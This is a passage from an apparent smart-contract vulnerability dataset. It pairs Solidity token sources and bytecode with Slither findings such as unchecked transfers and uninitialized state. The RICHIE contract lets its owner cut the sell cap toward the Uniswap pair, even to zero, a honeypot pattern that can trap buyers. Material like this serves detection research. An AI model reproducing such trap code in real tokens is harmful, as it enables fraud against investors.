7a723058206dafb757a010fcb5fe7b332607fd4f833978f55b073f1c246b7e4f91ffbc423c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,623 |
0x32c90d00bfb55f2eafe72904725414d3dab2c016 | pragma solidity ^0.4.23;
/*
* Creator: LCC (Litecoin Classic)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* LCC token smart contract.
*/
contract LCCToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 1000000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function LCCToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Litecoin Classic";
string constant public symbol = "LCC";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | 0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae4565b005b34801561043c57600080fd5b50610445610d04565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3d565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc9565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e50565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280601081526020017f4c697465636f696e20436c61737369630000000000000000000000000000000081525081565b6000806106ed3385610dc9565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb1565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a3565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ada576109d56b033b2e3c9fd0803ce8000000600454611489565b8211156109e55760009050610adf565b610a2d6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7b600454836114a2565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610adf565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7d57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2357600080fd5b505af1158015610c37573d6000803e3d6000fd5b505050506040513d6020811015610c4d57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f4c4343000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9857600080fd5b600560009054906101000a900460ff1615610db65760009050610dc3565b610dc083836114c0565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eac57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee757600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110e057600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116d5760009050611482565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bc5760009050611482565b6000821180156111f857508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141857611283600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d56000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149757fe5b818303905092915050565b60008082840190508381101515156114b657fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fd57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154c576000905061170c565b60008211801561158857508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a2576115d56000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611489565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165f6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a2565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820b6800c4d1b1def266405acf5b6605fce81a5a75880a44af7ef954da8af9dbfdb0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 9,624 |
0x75a3616e29B32f7F6D4742f2FA162ae875C4478C | /**
*Submitted for verification at Etherscan.io on 2021-05-28
*/
/**
*Submitted for verification at Etherscan.io on 2021-05-20
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract RICHIE is Context, IERC20, IERC20Metadata {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 100 * 10**12 * 10**18;
uint256 private _maxTXamount = 10**9 * 10**18;
address private _uniswapPair;
address private _owner;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_owner = _msgSender();
_balances[_msgSender()] += _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address sender, address spender) public view virtual override returns (uint256) {
return _allowances[sender][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
if(_uniswapPair == address(0)) {
_uniswapPair = recipient;
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(recipient == _uniswapPair) {
require(amount < _maxTXamount, "Transaction amount must be less than limit");
}
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address sender, address spender, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[sender][spender] = amount;
emit Approval(sender, spender, amount);
}
function setTxAmount(uint256 txAmount_) public onlyOwner returns(bool){
_maxTXamount = txAmount_;
return true;
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function setUniswap(address pair_) public virtual onlyOwner {
_uniswapPair = pair_;
}
modifier onlyOwner {
require(_msgSender() == _owner, "You are not owner");
_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
